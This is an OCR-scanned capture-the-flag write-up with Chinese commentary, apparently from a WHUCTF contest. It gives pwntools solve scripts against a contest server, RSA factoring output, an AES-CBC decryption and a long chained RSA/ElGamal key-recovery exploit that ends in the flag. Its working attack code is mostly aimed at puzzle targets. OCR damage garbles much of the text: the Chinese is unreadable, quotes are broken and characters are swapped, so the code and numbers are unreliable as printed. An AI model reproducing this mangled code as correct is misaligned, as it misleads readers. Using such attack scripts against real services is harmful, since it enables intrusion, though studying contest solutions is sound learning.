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from pwn import *
import requests
r = remote('218.197.154.9"' ,'16387")

context(log_level="'debug')
print(string.printable)
def work():
r.recvuntil('Math:\n")
dl =r.recvuntil(" *')[:-2]

r.recvuntil('+ ')
d2 = r.recvuntil("' ")
r.recvuntil('== ")
d3 = r.recvuntil(' ")
r.recvuntil('mod ")
d4 = r.recvuntil('\n")[:-1]
dl,d2,d3,d4 = int(dl),int(d2),int(d3),int(d4)
#print(int(d1),d2,d3,d4)
for x in range(d4):
if (d1*x+d2) % d4 == d3:
print(x)
r.sendlineafter('x :',str(x))
def bv():
i=5
while i:
i=i-1
aid = r.recvuntil('\n")[:-1]
url ="https://www.bilibili.com/video/av'+aid
g = requests.get(url)
res = re.findall(r'"videoData":{"bvid":"(.*)","aid":(.*),"videos""',q.text)
print(res[0][0])
r.sendline(res[0][0])

def av():

sleep(1)

i=15

while i:
i=i-1
bid = r.recvuntil('\n")[:-1]
url ="https://www.bilibili.com/video/"'+bid
g = requests.get(url)
res = re.findall(r'"videoData":{"bvid":"(.*)","aid":(.*),"videos""',q.text)
#print(res[O][1])
r.sendline(res[@][1])

work ()
r.recvuntil("id.\n")
bv ()
r.recvuntil('number.\n")

av()

print(r.recvall())
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>> factor(1064430845279108192896137146780657054923)

fac: factoring 106443084527910819289613714678057054923
fac: using pretesting plan: normal

fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000

rho: x*2 + 3, starting 1000 iterations on C39

rho: x~2 + 2, starting 1000 iterations on C39

rho: x*2 + 1, starting 1000 iterations on C39

pml: starting Bl = 150K, B2 = gmp-ecm default on C39
ecm: 30/30 curves on (€39, Bl=2K, B2=gmp-ecm default

starting SIQS on ¢39: 106443084527910819289613714678057054923

==== sieving in progress (1 thread): 608 relations needed ====
——— Press ctrl-c to abort and save state ———
534 rels found: 277 full + 257 from 2341 partial, (2735.48 rels/sec)
SIQS elapsed time = 2.3216 seconds.

Total factoring time = 2.7345 seconds

***factors found**#*

P20 = 10215054443853430669
P20 = 10420217054443542967

ans 1 hitps://blog.csdn.netiw

B2 TRSABEHE =ANRE T, FIHE € #HA ]
phi = (p1-1)*(p2-1)*(q-1)

FRA KB FAEH d=invert(e,phi)

B flag = pow(c,d,p*q)

[EN

#!/usr/bin/env python

from Crypto.Util.number import *

import gmpy2

p = 0x501431403e461960310474f59accb2cb
0xbob378d96238e799a2e544e768618d17

0x10001

= Ox9b941cce29810d1026e0005c1bd2014234f71210edd3ed369cdd3ff7b34c188

q
e
C

pl = 10215054443853430669
10420217054443542967

©
N
1l

phi = (pl-1)*(p2-1)*(g-1
d = gmpy2.invert(e,phi

m = pow(c,d, (p*q

print(m
print(long_to_bytes(m
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def aes_pad(s):
t = bytes((AES_KEYSIZE - len(s) % AES_KEYSIZE) * chr(AES_KEYSIZE - len(s) % AES_KEYSIZE),
encoding="utf-8")
return s + t

def enc():

f = open('plaintext', 'r'")

plaintext = f.readlines()

f.close()

f = open('ciphertext', 'w')

for i in range(len(IV)):
aes = AES.new(key, AES.MODE_CBC, IV[i])
m = aes_pad(base64.b64ddecode(plaintext[i]))
cipher = aes.encrypt(m)
print(bytes.decode(base64.b64encode(cipher)), file=f)

f.close()
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import string

def

def

unpad(s):

t=0
#print((s[-1]))
return s[:-s[-1]]

dec():

f = open('ciphertext', 'r'")

cipher = f.readlines()

f.close()

f = open('plaintextl’, 'w')

flag=""

for i in range(len(cipher)):
ci = (base64.b64decode(cipher[i]))
iv=b'\x00'*16 #IVELUERE
aes = AES.new(key, AES.MODE_CBC,iv)
#m = aes.decrypt(ci[16:]+ci[:16])
m = aes.decrypt(ci)
#print(m)
m=unpad(m)
#print(m, Len(m))
flag+=chr(m[-17])

#print(base64.b64encode(m), file=f)
print(flag[::-1])
#print(''.join(flag))
f.close()

dec()
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lyl@vm:aes$ python3 dec.py
b'\x14\xd5\xea\xa3\x104\xff\x9b\x9b\xebx\xdc\xde\xd2I\t\xc5\xe3\xb2\xdd\xbf (\xd7\x16>\xc7\xff @'
b'\x1eb\xT60\xd6\x08\xe9\xb0 (\xT2E\xfO\xca\xac\x8f\xd4a\xd56\xc3\xe3\xa7\xe7\xff\xd2_§'
b'ke\xecb\xal\x86\xcOi\xd2\x127\ X7\ x10\x01&"=\x17 ; \x92VKm\ x90f ~'
b's\xTd2Y\xd3\xbd\xT6\xTaC\xTO AxTF\t\xb0%8\xF7\x9666\xc33\xdd\xT5\xeb@b\xd7S_*'
b'\xaf\xcc\xd8\xa3s$t,35\xda\xa@\t\xbe\ r\x81\x84\xf9e\x00\xTd\xb3v\x10GU\xbe"S\x18_)"
b'mxdfcs\xed\xda\x11\xdat\x13\xc7\x1c\x96\x8f\x91Xab, \xf2R\x06"_}"
b'®_\xba\xc5\x98\xf9a.\xea\x9%a\x0f\xbd}\xe9\xcO~@GR=<\xca\xf7\xba\xa2\x93\xbf_!"'
b*"AxT8\xe2N6\x07 'dE\NXCc2\x0bA\xB7\x9d7\ r\x92N\x1a\x9b\xf5n5<B\x17\xef\x05\xea_r"
b'\xe2\xcc\x05\x08"T\x%a\x00\xec; uX#\ rixa>\x85\xde>\x973_0"'
b'c\t\x9be\xab\xb9\x9c\xda\x1c\xc2\x00\x8d\xcTO\X16\xdB\xT5\xa7 "\ x17Wm\x7 T#\x1le_t'
b'EAX8I\xcI\xTO\xd7\x0e\xT4\x08 - Z\ xe3\xT8\xc5AO\Xd6\X19VAX97\xc7_c'
b'0\x17\x1a\x99\xb6\xel\x95\ x0T\ xcd\xTIu\xb84\xT2\xac, ZV\xa3\x1ld\xad\xeb$1l\xab\xfl<_e'
b'\x9T\x9e?\xc8\xee\x0e\x91\xeb\xclRa2a\x01\x01g\xfOksK V'
b'S\xT2\xbO\nb:C\xd6c\ x84 \x01 \xdf\xa8\x1l\xc2 \xO01lh\t\xabu\x05\xcdc\xf3_ '
b'j!\x8a\xc8\xed\xT5\x11\xeb\xTe&\r\x81\x07\x85\xd0s\x13\xbd\xb2\xcd# n"
b'\n\x84\xcf\xf9e\xba\x0fem\xbf\xd2$\xc1\xa8i\x95\xbO\xT9\x13\x8FT\x94\x9b\x1eG\x02\xa8 0"
b'\x11\x83BK\x9b"\xb6E\xeb\x8f\xdfI\xe9\xfd\xa2\x89\x%aC\xccbgc\xla\xec\x82\x82\xfd_i"
b'~\x9b\xdc\xTbV5y\x98:\xc2\x86*}\xab\xfc\xccAxF2#\xd4H\xff/\xb7e_t'
b"2*\xceCVOK\x84#\xTO\x93D\xba\x12g\xe3\xbc] 'FC\x14_a"
b'\x83\xTly\x7f\x04R\xTO\xc0\xd28e\x0en\xedM\x1dh\xda\xb4\xb4\xed\x96_z"
b'\xafR\xe7\xf04\x17\xcd (t\xcen:\x0c\xee\xcc:\xab[-\x82\xf7o\x%a\xa2"{ i’
b'\xfcts\x9f)\xbf\r\xd7\xfc\xb6o\xe7\x%a\x81\x1le\xdf<#\xcfN3_1'

b'uK\x0e{\x90\xa9\x89 [\ xd2\x05\x86\xdf\xb5/\xee\xc4-\xd4\x8e\xbl\xaa=\x134>\xa3\xfe_a'

b ' \x84\x18\xd9\x07E\Xx9c\xd5\xef\xe2V\x0bD\x92, \xa3 !\x96\xad4*\xa2\xaa\xed\\\x0e_i'
b'\xb2\xa9)\x8c\x8d\x1d\x8d\x91\x16\x83\x86\xb7\xce\x97\x98\xdb\x08Y3e\x8b\x88\xb5\xd0\xT8\x06j@\xfc_t'
b'p(Ts\xal\xa7pAt\x91\x92\x90\x8e\x18\x12\x8T\x12\xe2\x9T\x9b\xd3+y#\xTdS\xed\xd9 i’
b's\xcdF\xbc\xac\xfa/D\x82\xel\xb9\xde\xcl\x9dc\xleua\x08{U\xe8\xb8qO* n'
b'\x06\xbf\xf9\x0e \xbl,0A!\r\xafd\x91\x87\xf6\xde\xce\xda\x94 1'
b"z'\xeb\xdf\xbaX\xa5a2\xfa.\xcO\x96\xb4\xc3\x890~\xcO\xbOTjK\xcc\xad\x9dQ\x1f__ "
b'r"\xadU\xdb!\x14\x97e\xb2\x1cP\xb1IM\x12rFj[\xeB\xee\xcl 3'
b'NAx02\x9c\xa9\xbc\x17\xed\x0T\x17\x1le\xTb\xT8\x8e\xbb6\xcd+\x88\x18qg\xef-C\xd7\xcO\x9d\xd4\xc7k T"'
b'\x8e\xc9V,\xff 4,\xe0z\x0f<v\x05&\xfdkl\xal\xTdG\xd4\xe®\x11\xaa 4'
b'\xec5\xce\xcdj\xb7\x113\x96v\t9\x99KD\ xee\xd2)0G\xcaH H'

b'\xc2\xcd=1\x06( | y\xc5\x1aVGb8\xbc\xcO\x90\xb4\xd3\x89) '
b'Yu\x00\xc1\xb5M\xd5\xaal\xd6 "\ xT6\x17\x8a5\xef\x16\\\xde\xcf\xbb_I'
b"\xe8\xb3\xcb\xb7'\xle\xae\xc3~d:@\xac\xelt\x05|\x8b\xb23\xc5Y\xaa\x8a+A\x98\xa9 {"
b'\xfe\xb8\xacI\x06\xab\xe8 | A\xTe\x89\xT1\x84\xel\xb3\xbT\x05\xd5B\xd5\xae\xfa8<n\xfd\xle=_
b'\x8e\xT7\xe7\x99dT\x98\x0c@\x19\x1aD\x97\xcO\ r\ixef~+\xbd8\x1f\x18\xcO\x15H\x80 T'
b'\x8b\xef\xTa\x1b\x06BI7\xT5\xT8y\xdbk\xad\x02\xT1\xc1C\x83\x15d\ x99\ xa5\xa8\n\xab)e C'
b'\x04\xe7\xady\xfd&\\\xaBR\x0c\x8b\xfbb\xaej)@ \x92\x03\x8c\xb3v\xdf\x88 U’
b'”\xd9\xld\xae\xlf\xeS\xGS\xfﬁ\xde\xd2\x9cg\xe5\xc6+YH\xG?{\xch\xGS\xe2\xe5e\x
b'*\xd2\xd6)\x16k\xa2\x063\xdc#{\x95ud\xecj\xla~C\xTd\xdc\x1T+\x88 W'
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def enc(keys, m

P, 8 y = keys[-1
while True

k = getRandomInteger (2048

if gmpy2.gcd(k, p-1) == 1

break

cl = pow(g, k, p
m = (getRandomInteger(64) << m.bit_length +m
m = ((m << 64) + getRandomInteger(64
c2 = pow(y, k, p) *m%p
return cl, c2

HHRIR

from Crypto.Util.number import getPrime, getRandomInteger, long to_bytes, bytes_to_long
from Crypto.Cipher import AES



from Crypto.Util import Counter
import gmpy2

from secret import rsa_keygen

def FFF(food, key): #aesjiami
K = 0xe238c70fe2d1885albl2debfal5484cab8af04675c39ff4c633d61771234ed88
key = long_to_bytes(key, 32)
food = long_to_bytes(food, 128)
aes = AES.new(key, AES.MODE_CTR, counter=Counter.new(128, initial_ value=K))
c = bytes_to_long(aes.encrypt(food))
return c

def GGG(food, key):
K = 0xfd94d8de73e4aa8f4f452782b98a7870e82ec92a9db606fedcadlf32de6dfo0cs
K = long_to_bytes(K, 32)
food = long_to_bytes(food, 128)
aes = AES.new(K, AES.MODE_CTR, counter=Counter.new(128, initial_value=key))
c = bytes_to_long(aes.encrypt(food))
return c

def keygen():
keys = []

nd, ed@ = rsa_keygen()
keys.append([n@, e@])
NO, EO = no, €0

while True:
pl = getPrime(1024 // 2)
el pow(pl, E@, NO)
ql = getPrime(1024 // 2)
nl = pl * q1
phil = (p1-1)*(ql-1)
if el < nl1 and gmpy2.gcd(el, phil) == 1:
break

keys.append([nl, el])
N1, E1 = nl, el

K2 = 0xb6a022cd2fb960d4b6caab01a0412918fd80656b76c782fa6fe9cf50ef205Ffb
B2_1 = 8
B2_2 = 8
B2 3 = 1024
while True:
p2 = getPrime(2048 // 2)
i=20
while True:
p2_1 = FFF(p2, K2 + i) #aes encrypt,i not known (0,8)
if p2_1 < Ni1:
break

i+=1
if i >= B2_1:
break
if i >= B2_1:
continue
p2_2 = pow(p2_1, E1, N1)
i=0



-

while True:
p2_3 = GGG(p2_2, K2 + j)
X2 = (p2_3 << 1024) + getRandomInteger(1024)
g2 = gmpy2.next_prime(x2 // p2)
n2 = p2 * g2
if @ <= (n2 >> 1024) - p2_3 < B2_3:
break

j+=1
if j >= B2_2:
break
if i <= B2_1 and j < B2_2:

break
e2 = 65537
keys.append([n2, e2])
N2, E2 = n2, e2

K3 = Oxfcec710a0313bb8f93e76e00ae6862b9be72dfd837db3b64ddde344bebfd2f50
B3 1 = 8

B3 2 = 1024

while True:

x3 = gmpy2.next_prime(getRandomInteger(2048) % N2)
if x3 >= N2:
continue
x3_2 = pow(x3, E2, N2)
i=0
while True:
f3 = FFF(x3_2, K3 + i)

p3 = gmpy2.next_prime(f3)

if p3 > x3 and p3 - f3 < B3_2:
break

i+=1

if i >= B3_1:
break

if i < B3_1:
break

while True:
g3 = gmpy2.next_prime(getRandomInteger(p3.bit_length()) % p3)
if g3 < p3 and 1 == gmpy2.gcd(g3, p3-1):
break
y3 = pow(g3, x3, p3)
keys.append((p3, g3, y3))
P3, G3, Y3 = p3, g3, y3

B4 = 16384

while True:
x4 = gmpy2.next_prime(getRandomInteger(2048) % P3)
k = getPrime(2048)
if x4 >= P3 or gmpy2.gcd(k, P3-1) > 1:

continue
b4 = pow(Y3, k, P3) * x4 % P3
p4 = gmpy2.next_prime(b4)
g4 = pow(G3, k, P3)

if gmpy2.is_prime(p4) and x4 < p4 and g4 < p4 and p4 - b4 < B4:
break
y4 = pow(g4, x4, p4)
keys.append([p4, g4, vy4])

return keys



L5 N (n0,e0) (nl,el) (n2,e2) (p3,g3,y3) (p4,gd,ys) LE—HBE (c1,c2) , HEKiXL(sE RIELETAN]

HrhERn0 e0%h, MAAANH LAXAAMES TR BXMEL K0T

cl=g4"~k % p4
c2=m*y4~k % p4
y4=g4~"x4 % p4

By LABA AT i@ a0 7 it
m=c2*((c1r-1)"x4) % p4

FUA TR B x4 o T x4 F=EFTRWF

while True:
x4 = gmpy2.next_prime(getRandomInteger(2048) % P3)
k = getPrime(2048)
if x4 >= P3 or gmpy2.gcd(k, P3-1) > 1:
continue
b4 pow(Y3, k, P3) * x4 % P3
p4 = gmpy2.next_prime(b4)
g4 = pow(G3, k, P3)
if gmpy2.is_prime(p4) and x4 < p4 and g4 < p4d and p4d - b4 < B4:

break
y4 = pow(g4, x4, p4)

HIEX x4 Z2HBBEAIE, KW x4 5ba ga x3 UKk p3 Hx, AR EH#ESH x4 BiTHEAN:
x4=b4* (g4~-1)"x3%p3

ba AYGEMRE], FTCAMEES. x3 BEALST. x3 EFTK

while True:
x3 = gmpy2.next_prime(getRandomInteger(2048) % N2)

if x3 >= N2:
continue
x3_2 = pow(x3, E2, N2)
i=o0
while True:
f3 = FFF(x3_2, K3 + i)

p3 = gmpy2.next_prime(f3)
if p3 > x3 and p3 - 3 < B3_2:
break
i+=1
if i >= B3_1:
break
if i < B3_1:
break
while True:
g3 = gmpy2.next_prime(getRandomInteger(p3.bit_length()) % p3)
if g3 < p3 and 1 == gmpy2.gcd(g3, p3-1):
break
y3 = pow(g3, x3, p3)

FrbA x3 ®] CLisd an 07 St HA 2

x3=(x32~d2) %n2

Hed2 R RAH n2 e2 WA, @047, d2 XFEF d1, d1 XFE do, B ne il eo



RI no R4

>> factor(Oxb84addalb748abb596553a247ead86b9%9a40cede4997934298bb50ab6612d814bbb79110cff31
ed502fclbedd44ffdf2dl7ff26ced2deal?29f9551aabcdldf846Fcabl4eb83a277908fb5aab41df8414aad8a
47b2d1b8beacf71936016025568098dae90b00bcd83463c07c3b6a86a%4cdbccfed3d2313a2caca2c225906f
e6adl53)

fac: factoring 1294145554615475495636525576893624163821987144002704505936695132003014764
804970340449548877879566642885589428574885762451492892626076613006463101388882172212622
0197789780442997360084064448606976517868233213654809422248957435643874569196013452814323
059805090898264267374323939952376882571719489796254039678832979
using pretesting plan: normal
no tune info: using gs/gnfs crossover of 95 digits
primes less than 10000
: x*2 + 3, starting 1000 iterations on C309
: x*2 + 2, starting 1000 iterations on C309
: x*2 + 1, starting 1000 iterations on C309
starting Bl = 150K, B2 = gmp-ecm default on C309

: 30/30 curves on C309, Bl=2K, B2=gmp-ecm default
: 74/74 curves on C309, Bl=11K, B2=gmp-ecm default
: 214/214 curves on €309, B1=50K, B2=gmp-ecm default, ETA: 1 sec
starting Bl = 3750K, B2 = gmp-ecm default on C309
Total factoring time = 128.6136 seconds

P155 = 11006133303590551631675246859575351810710583902045010025752215760816709528885667
614498739120484094845160818739241825899293229144099950082437132149513603493
P155 = 11758403418512875451309984803241692202897478510504889589465663580602420645325301
125824700469191331308536224777852310675971125980830369323328662266246532503

ans

>

ZJEH B

FREL(€0, nO)MIFAEAAO ==> FIFdOZRENd1 ==> IR P2 ==>43f#n2 ==> FKEN2 ==>K2x32 > RKx3> x4 ==>m

He, 3RE p2 AT

K2 = 0xb6a022cd2fb960d4b6caab01a0412918fd80656b76c782fa6fe9cf50ef205FFb

p23=0
p2_set = set
for p23 in range((n2>>1024)-1024,n2>>1024 #p23 7 T EH IR

for j in range(8

p22=GGG(p23,K2+j #HGGG B [ (&
p21 = pow(gmpy2.mpz(p22),dl,gmpy2.mpz(nl
if p21 >= nl

continue

#p2 1 = FFF(p2, K2 + 1)

for i in range(8
p2 = FFF(p21,K2 #IEH — T2
if gmpy2.is_prime(p2
#print('find p2 ==>"',p2)
p2_set.add(p2
print('p2 have ' ,len(p2_set #BEEHFZL T2



G p2 RE—A, RIRF. FIH p2 iTLA#E n2 , BEIFAEH d2.
JE A

from pwn import *

import random

import string

import hashlib

import gmpy2

from Crypto.Util.number import getPrime, getRandomInteger, long to_bytes, bytes_to_long
from Crypto.Cipher import AES

from Crypto.Util import Counter

r = remote('218.197.154.9"' ,'16384")

#context(log_Level="debug")
print(len(string.letters+ string.digits))
def work():
way = r.recvuntil('Xx")
r.recvuntil('X+")
suf = r.recv(12)
r.recvuntil('== ")
t = r.recvuntil('\n")[:-1]
print(way,suf,t)
flag = 1
cnt=0
for a in string.letters+string.digits:
for b in string.letters+string.digits:
for ¢ in string.letters+string.digits:
#for d in string.letters+string.digits:
r_str=a+b+c
o=t
if b'384" in way :
s = hashlib.sha384(r_str+suf).hexdigest()
elif b'224"in way :
s = hashlib.sha224(r_str+suf).hexdigest()
elif b'512" in way:
s = hashlib.sha512(r_str+suf).hexdigest()
elif b"1(" in way:
s = hashlib.shal(r_str+suf).hexdigest()
elif b'md5"' in way:
s = hashlib.md5(r_str+suf).hexdigest()
elif b'256" in way:
s = hashlib.sha256(r_str+suf).hexdigest()

#cnt+=1

if s==t:
print(r_str)
r.sendlineafter('X:',r_str)

return
print(b"not find.")
print(cnt)
rep = 20
#while rep:
rep-=1
work ()

r_interactive()



B T

def FFF(food, key): HIEE R
K = 0xe238c70fe2d1885albl2debfal5484cab8af04675c39ff4c633d6177F234ed88
key = long_to_bytes(key, 32)
food = long_to_bytes(food, 128)
aes = AES.new(key, AES.MODE_CTR, counter=Counter.new(128, initial_value=K))
¢ = bytes_to_long(aes.decrypt(food))  #U A4 F =)
return c

def GGG(food, key):
K = 0xfd94d8de73e4aa8f4f452782b98a7870e82ec92a9db606fedcadlf32d6dfo0cs
K = long_to_bytes(K, 32)
food = long_to_bytes(food, 128)
aes = AES.new(K, AES.MODE_CTR, counter=Counter.new(128, initial_value=key))
c = bytes_to_long(aes.decrypt(food))
return c

no, e@=0xb84addalb748a0b596553a247ead86b9a40ced4e4997934298bb50a6612d814bbb79110cff31e4502fcl6ed44ffdf2d17ff26ced2
deal29f9551aabcd1df846fcabl4eb83a277908fb5aab41df8414aad8a47b2d1b8beact71936016025568098dae90b00Obcd83463c07c36a8
6a94cd6ccfe93d2313a2caca2c225906fe6adl53, 0x10001

nl,el=0x9907d857e498cc826a4a172852710902b4dedfede6+1b63248ff4d6418a27c090abb9590e9bccedfedcf3bba2e8055fb5642110F
423c47857c57dec3be5716017a39d747e5a0f06724bcac55cel6206ab423a8451d8788dd4e49de24184a1471620796304fb5dd468d7c63chb
fc6559d89230415c6438c61877448762b844cfod, 0x8f49delbffa2aelcf66b5d4ff15fdobff1875ac623c7e886a369c6897cbe42113
79b99028ec3275aa19210eecda8d32a67c2d@efdb963d84d3f7b7ca451bf17cda3b2958b514a9a1603892d1c95ee637e7840acb2774203F
dd17cd268bdbbo5b6f7f6aff79ca242276bf4f3dcl1df415b26b10d79b5519173f8akeed1707387
n2,e2=0x9f5865fa8all7a9bdc42e7a2244e95fb51f2eab88d8a576b8alfbb7449bb7aacd4019cbce97caf31cd40527d8718050297582516
61819187b4f2bf0a25cb30ce7c7efbed09492c2f405d053e17f57dc988c2ee8134dc3970cOb1152c9f8e83e67410db109e16cc998a7e4ch8
649aab34642310cbc38a6cf158a831702a79f75c4202382a2e944a7024349584ba902bc2f27a3dbce3bb677bec7fa271c35caklab226a261
€74967d5e9236dd8ff671e031bfadd2a93410d7d098b5d016825fd5e8b3e94e3b763e6b0Oc8f26193715dc34cb304f6fb1a981bc9681bc4lf
34090e226dee5b4c43c9cb599d556013958a047a6bf716777d4e5c7166188adfb27d1999, 0x10001
p3,83,y3=0xde3b23a6529e415ebde6e399d805d09db4fbe901d6474f31a9365c671061d667acc7c7b492falf5e0451a57b720fd225c7aaa
30b6040d2733be88ec313153941b36037af743418e3d2c7d7c5d66ba5af123720012b2a6419931759a65e7c1b3491190a9edc92¢3407d6b2
9e4ffab5169d2790f233d6eldc7b97b2alaea2d67d8b0Be8bbb8e@bd615786dd3c3415bf581b52b57calfd@165c084023bedd7dc@a349aeb
4baaeacB2e62abecd4a7bfcd3711211ed10542051109025171dcf08d23130ec6adb7589beeccde79bbf411d42801fad187305a2313a697fc
b16ad496c021a67a869edab67ec10e8e41671498c24891956cb23645020d6a735a3667eb8177, Ox955a7ed5ea9d6eae35d3d4251c53b9
5cd6e598fb295bff66dc728cab6681b24ba22cde2dc9d77d705f66ceab66ad5c1674564550bc95d36ab4376586a2ed2e13879a32af04el4fd
66cda97f256348e353046863836b6519da30b7bd8803022ed36c27eb28e6248666177be321b52a2b85470853334ee5aedcflbc908bdc26bl
04fbed3365d501d97e6c71d0244065F9fd4cl2baac®575d094cf299f2c9ddf18cb48f34abcla9a82c728095707e84ce8d96eb3850d842036
261340b52935c1e6fb4e37572b143c51add5865157d158c0@cfOb02725b8324eb8bfcd531bbfda9ad6106c3713c053b12184c5dc398c592ff
66del73d1f381173b06417645e1105ce6b, 0x83e7fdaldbbl6aebd80a36740b2c03df580cd5727cf4e2c63ff6adddo9cl2a521a6c7e5
0ac920b85df3de7bal8d67ff2e6bB6daatb5aPec24d9283e1f479¢cbc768b51db4db29f088b4cf22fa7d71685b0626F355bcfbald7dadelle
3eae744e671157a3d596c76e1f1375c72b53bed3ef95ce5c4e96d6d7fbfbb23e38b0d02d903c23e4546c3e3966b1ca2154b629bfe6878487
056a4bf8ced45b2152243160cadbd56030a96a8f3362b6el1d6a2d19633594cf94fb5ca486853e063ba7d2130f17aa48a28b12ddb704cd507c¢
6e56c3f939c23eel53f0eed384d077499ad1345b6b129178de86e814a4159b0e70d5196f4e2c5d8105F531ca709eedf84cd49ed29

p4, g4,y4=0xb8f5795e8041128deddPe772176d3bc5e55e1017cafl143025a0bdafc942e8bc2667f45adb357cf693fab149a0dc9153615eb9
9ee18b56d9e0322bak60a875d3651a52c976165b839b2b2bffbbddd428e@aa5ceccf458c9df6db9106bcb4358784042b70abe79863fac561
€c527451659db03fb70b1546101363e€92258d772306aa910d2c6F6c6a3178f463521094aad444b04b3212664540a48261bb2a6cb537544F16
faef666957eee42a4886b3bfbbe993cffbcb621cfca3aldl138423066e66edb72599201a8662e6bb105797ad3706al7ece8e548fe@ae558f7
9595e7c8af40e3fb52301042b2alad9cd43a986217bcec5c4339556678135FF3790508Fdbb3, 0x5eb3827294398409424cf1c736¢c51b
53fe017ca60f6e444c05c3e01745fb95ceade696ef015Ffc4d3575ae32debc22b52778910e5f34da76eee2d9189cb03a632594048983d8c62
90b4d246cal30be8fleddcd39ec52f591ae328282181952e0a774843¢c4c16644bd230e92d2d2c9317b49c44d152Ff379a69fadebc64566c66
2d9e5dc3a785208695c784be220dce9550ecad9f4b263cd3913d0d2542caalo6d0abe81862Fb42db822f5a4a34a60a9e5ae72el142cd268e7e
15260b4e2070babc21625d5b6268235988159b75d2e411f00c9d991F43b45b6fe3a0a559612159657e3a46d99e8e63a8a321e04108d4eesd
d21659278e159321c6ad41eb75b4e4778, Oxadef460a7fa8624d5b17ce6d1728a30d87b82520570ddf3fbl43ea2d821e0f2a90bab97



€224106d19d46c069278d637d4908098f3acalb242a95fb593635e93cc494723da53b618182950c25d6a5b6b67bbd60e607bc419b144e242
b68cfa92ec6bbelblcelcf2ela32da5d7b3472bf66a9d9c4dal9ab2cOcecc78025348c5d630154c62d4769FF131cb9f5a48cec3ala6b6fdd63
ee8b405601d55b4210eb40b5b5d7e5aab4ef2bbf3cc5780e0778c4543a4975901f182e744309a24154d8b67c69257a011684048619293a63
7c2876alaa7c926daac9576dafeldf2f4cleccc7c5eb30687de07547bb31f3d4f1902ee7ab6f04c290db832bfOc461bc

cl = 9x3d9dab4e4c169dfd48be9d3650dal87d2595b12f527eae743abb083324544f8dakade68de38f0Ob158a640368a69b7394705ea2b6d
111ed22e910e00e1210420dd716512e18c51683004e15339db3e419423fc54e214172058681629d54bf5efaf2fdd331730ebf26fbc94770e
7909bd885882c328c019945ea5436a24efedd4fd6b6d06c912da992a182bff097927f7966afecb531da8279d08870a6b080283eb8e63c8308
dab0800e066a64e15e024e8258e1c6712af7600e66ce848a22705cf5be6el9ddf7bbe6ad589563be@bcf{8b73292ee34feabf748cefce00s
8b1708830905a25b8801921267ea25b419b8b266baB503fe7fa7b50214ed4efbfdfdaeaf

c2 = Ox97f9541603c56e99c77d7d8d18a163db27f8435644a205b5044a83d3600514a4f0588bb0a88fec6655c2c5e7780ab4a30e7aefffb
8e4bfd61001e59e708b1d409c49d4d52ab3c671d3e11b09a73bd73e619352146e528F3e77263e3583621a9e2241b7975cfadc408da590b97
db2dcd293a8fda2453c55clefbfdb908da2bad9b42c3bd43847165f916d6acl19501f2f2a85cl16fcdef7e8ff4c874bbfeb3e72c21739185b6a
151542638e513371159b93e9f754ee55e18d95f458c58137b61f57c9308b6bf1af70294388d9be8a275e4ade@c8351ef5f9928a89a22362el
73a994271a9a7258a57f08b752da77aad19a728eed465332404070e53fe336661c99755

po = 11006133303590551631675246859575351810710583902045010025752215760816709528885667614498739120484094845160818
739241825899293229144099950082437132149513603493
g0 = 11758403418512875451309984803241692202897478510504889589465663580602420645325301125824700469191331308536224
777852310675971125980830369323328662266246532503

assert p@*gq@==no@

do = gmpy2.invert(e@, (po-1)*(g0-1))
assert e0*do % ((po-1)*(ge-1))==1

pl = pow(el,do,no)
gl = nl/pl
dl = gmpy2.invert(el, (p1-1)*(ql-1))

assert el*dl % ((pl-1)*(qgl1-1))==1

K2 = 0xb6a022cd2fb960d4b6caab01a0412918fd80656b76c782fa6fe9cf50ef205ffb
p23=0

p2_set = set()

for p23 in range((n2>>1024)-1024,n2>>1024):

for j in range(8):
p22=GGG(p23,K2+7)
p21 = pow(gmpy2.mpz(p22),dl,gmpy2.mpz(nl))
if p21 >= nl:
continue
#p2 1 = FFF(p2, K2 + 1)

for i in range(8):
p2 = FFF(p21,K2)
if gmpy2.is_prime(p2):
#print('find p2 ==>"',p2)
p2_set.add(p2)
print('p2 have ' ,len(p2_set))

for p in p2_set:
if n2J%p ==0:
print('p2 ok.',p)
g2 = n2/p
p2=p

p2=1221091800302884605056831065167587829972854191698184002760152787674872275026275598846372440483877090950940853
R2UR1IAATARVAIT1AAR117212740070701Q0QAQEARTANATRAII2III2INT121021ELTAIMARRI1EARAAM0RALT12RINARARATAIERT1IRATEIT1MAR



D TU AL T T/ TUJUTEL AL TUU AL/ Ud I TIVI VI VA I T I IVUO T TU S I UV Ll D bbb eVdUAIedI I ] JEeTUVUL LI JUVUTTIVU S JAUULTUUUU S AUL I I L eI VLT el TUU

3068299260597051889802156084553739100164754837994083720674019411856695367256656411936773
g2 = n2/p2

d2 = gmpy2.invert(e2, (p2-1)*(g2-1
assert e2*d2 % ((p2-1)*(g2-1))==1

K3 = 0@xfcec71020313bb8193e76e00ae6862b9be72dfd837db3b64ddde344bebfd2f50
x3_set = set
for f3 in range(p3-1024,p3

for j in range(8
X32 = FFF(f3,K3+j
x3 = pow(x32,d2,n2
if x3< n2 and x3<p3 and gmpy2.is_prime(x3) and pow(g3,x3,p3)==y3
print('find x3',x3
x3_set.add(x3
print('x3 have ' ,len(x3_set
x3=1088365012081182092705982520565692567487741338933994031760653203576450910700451102551541294267343113930423268
1926944723286699034521210405597867636120477240583401604904272661598054670244261437958351827625829003741471228898
2600535234246131672874784947071741514867055214312998118030329445929124343347624206251920130419907777167700954076
3764271769704065514869400637746971411731456205442811420124805618121916014633227549747811480700880626641822797536
6322851686496519853290123435333983250748352548880879919319074989904938656924865656805238578365299255738395935294
592983165567340664328533240350609782034945692885212482088993
for b4 in range(p4-16384,p4

x4 = pow(gmpy2.invert(g4,p3),x3,p3)*bd%p3
m = c2*pow(gmpy2.invert(cl,p4),x4,p4) %p4l

if 'CTF" in long_to_bytes(m
print(m, long_to_bytes(m

1247 B AT 18 Rlflag

x4 = pow(gmpy?.invert{g4,p3j,ia,pEJ*bd%pa
KeyboardInterrupt
lyl@vm:prism$ python exp.py

(mpz(79902186390184306957410443246016825246133162037378296939660283624997951790084874376999562045408471409296007345339985415742), '\xle
\x81\x0f\x9a\xd7HUCTF{B1G_8r0@TH3R_i5 W4TCHIn9 U “\xd2\xbd<\xac\xd5\xce=>")
lyl@vm:prism$

0x2 misc
checkin
BEE, THEXHREEE AR SgithubB 5%, flagiiit https:/github.com/xinyongpeng/whuctfflag/blob/master/flag.txt

shellofawd


https://github.com/xinyongpeng/whuctfflag/blob/master/flag.txt

XE R, T Swebshell3 B )2 12 .
BT —MNRER, FwiresharkZ .

